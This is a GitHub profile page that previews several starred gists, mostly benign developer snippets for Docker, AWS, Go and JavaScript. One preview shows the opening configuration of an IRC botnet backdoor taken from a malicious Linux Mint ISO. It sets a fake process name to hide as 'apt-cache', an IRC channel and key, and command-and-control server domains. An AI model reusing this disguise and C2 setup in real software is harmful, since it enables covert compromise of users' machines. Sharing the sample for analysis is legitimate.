Skip to content

Instantly share code, notes, and snippets.

View chiefy's full-sized avatar
💥

Christopher "Chief" Najewicz chiefy

💥
View GitHub Profile
@kurobeats
kurobeats / man.cy
Created February 21, 2016 09:00
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@GottZ
GottZ / dps.sh
Last active September 22, 2020 20:46
/etc/profile.d/dps.sh
# Docker PS prettifier
# revision 6
# https://gist.github.com/GottZ/4a6c2af314d73cd8b71d
dps() {
docker ps $@ --format "table{{ .Image }}\\t{{ .Names }}\\t{{ .Status }}\\t{{ .Ports }}" | awk '
NR % 2 == 0 {
printf "\033[0m";
}
NR % 2 == 1 {
@nakedible-p
nakedible-p / proxy.js
Created October 19, 2015 19:55
AWS ES proxy
var AWS = require('aws-sdk');
var http = require('http');
var httpProxy = require('http-proxy');
var express = require('express');
var bodyParser = require('body-parser');
var stream = require('stream');
if (process.argv.length != 3) {
console.error('usage: aws-es-proxy <my-cluster-endpoint>');
process.exit(1);
@frodopwns
frodopwns / dps.py
Created September 22, 2015 21:30
pretty print docker ps commands
import re
import json
import sys
import os
from subprocess import Popen, PIPE
if __name__ == '__main__':
base_path = os.path.abspath(os.path.dirname(__file__))
args = sys.argv
@iammerrick
iammerrick / Question.md
Created August 14, 2015 17:21
Help me understand contexts!

Halp!!!

Something about calling createElement within the function not ahead of time makes the context of Provider work. Why?

@mdwhatcott
mdwhatcott / custom_json.go
Created July 29, 2015 17:15
Example of implementing MarshalJSON and UnmarshalJSON to serialize and deserialize custom types to JSON in Go. Playground: http://play.golang.org/p/7nk5ZEbVLw
package main
import (
"bytes"
"encoding/json"
"fmt"
"strconv"
)
func main() {
@voxxit
voxxit / USING-VAULT.md
Last active July 7, 2022 03:02
Consul + Vault + MySQL = <3
git clone https://gist.github.com/dd6f95398c1bdc9f1038.git vault
cd vault
docker-compose up -d
export VAULT_ADDR=http://192.168.99.100:8200

Initializing a vault:

vault init
@paulirish
paulirish / bling.js
Last active February 20, 2024 14:11
bling dot js
/* bling.js */
window.$ = document.querySelectorAll.bind(document);
Node.prototype.on = window.on = function (name, fn) {
this.addEventListener(name, fn);
}
NodeList.prototype.__proto__ = Array.prototype;
@grvhi
grvhi / gist:fbda7c0afed03ae1ef8c
Created February 23, 2015 18:30
AWS Lambda Function to Trigger ElasticTranscoder Job on S3 Upload
console.log('Checking newly uploaded file');
var AWS = require('aws-sdk');
var s3 = new AWS.S3({apiVersion: '2006-03-01'});
var eltr = new AWS.ElasticTranscoder({
apiVersion: '2012-09-25',
region: 'us-east-1'
});
// ID of pipeline
var pipelineId = 'myID';
// ID of ET's web output preset
@ericelliott
ericelliott / essential-javascript-links.md
Last active March 28, 2024 23:01
Essential JavaScript Links